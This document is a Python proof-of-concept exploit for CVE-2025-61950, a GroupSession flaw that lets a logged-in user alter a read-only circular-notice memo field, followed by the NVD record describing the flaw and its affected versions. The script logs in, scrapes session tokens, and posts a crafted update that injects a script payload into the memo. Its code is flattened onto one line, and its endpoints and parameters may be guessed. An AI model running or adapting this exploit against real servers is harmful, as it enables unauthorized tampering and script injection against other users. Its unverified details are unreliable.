CVE-2025-61950

import requests import re # CVE-2025-61950 PoC - GroupSession Authorization Bypass # Target: GroupSession Circular Notice memo field modification TARGET_URL = "http://target-groupsession.com/" LOGIN_URL = TARGET_URL + "gsession/common/cmn001.do" NOTICE_URL = TARGET_URL + "gsession/circular/" session = requests.Session() def login(username, password): """Authenticate to GroupSession""" login_data = { "usrUid": username, "usrPsw": password } response = session.post(LOGIN_URL, data=login_data) return "login" not in response.url.lower() def exploit_memo_field_bypass(notice_id, malicious_memo): """ Exploit the authorization bypass in circular notice memo field Args: notice_id: ID of the circular notice to modify malicious_memo: Malicious content to inject into memo field Returns: bool: True if exploitation appears successful """ # Step 1: Retrieve the original notice (memo field appears readonly) get_url = NOTICE_URL + "circular.do?cmd=viewDetail&cngSid=" + notice_id response = session.get(get_url) # Step 2: Extract necessary session tokens and parameters token_match = re.search(r'name="[\w]+token[\w]*"\s+value="([^"]+)"', response.text) sid_match = re.search(r'name="sid"\s+value="([^"]+)"', response.text) if not token_match or not sid_match: print("[-] Failed to extract required parameters") return False token = token_match.group(1) sid = sid_match.group(1) # Step 3: Craft malicious request to modify memo field # The memo field should be protected but authorization check is improper update_data = { "cmd": "update", "sid": sid, "cngSid": notice_id, "memo": malicious_memo, # Bypassing readonly protection "token": token } # Step 4: Send the crafted request update_url = NOTICE_URL + "circular.do" response = session.post(update_url, data=update_data) # Step 5: Verify if memo was modified verify_response = session.get(get_url) if malicious_memo in verify_response.text: print("[+] Successfully modified memo field!") return True else: print("[-] Exploitation failed or memo not modified") return False if __name__ == "__main__": # Configuration USERNAME = "regular_user" PASSWORD = "user_password" NOTICE_ID = "12345" # Target notice ID MALICIOUS_MEMO = "<script>alert('XSS')</script>" # Injected content # Execute exploitation if login(USERNAME, PASSWORD): print("[*] Login successful") exploit_memo_field_bypass(NOTICE_ID, MALICIOUS_MEMO) else: print("[-] Login failed")

{"cve": {"id": "CVE-2025-61950", "sourceIdentifier": "[email protected]", "published": "2025-12-12T05:16:07.583", "lastModified": "2026-02-17T15:43:09.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In GroupSession, a Circular notice can be created with its memo field non-editable, but the authorization check is improperly implemented. With some crafted request, a logged-in user may alter the memo field. The affected products and versions are GroupSession Free edition prior to ver5.3.0, GroupSession byCloud prior to ver5.3.3, and GroupSession ZION prior to ver5.3.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:free:*:*:*", "versionEndExcluding": "5.3.0", "matchCriteriaId": "32599C61-0938-49C5-8416-44C3DF7B144A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:zion:*:*:*", "versionEndExcluding": "5.3.2", "matchCriteriaId": "46F7CACE-2448-4A90-9192-B6270B33E393"}, {"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:bycloud:*:*:*", "versionEndExcluding": "5.3.3", "matchCriteriaId": "DD4CD8BC-39CB-44FF-A4D8-22C1B38ED223"}]}]}], "references": [{"url": "https://groupsession.jp/info/info-news/security20251208", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://jvn.jp/en/jp/JVN19940619/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}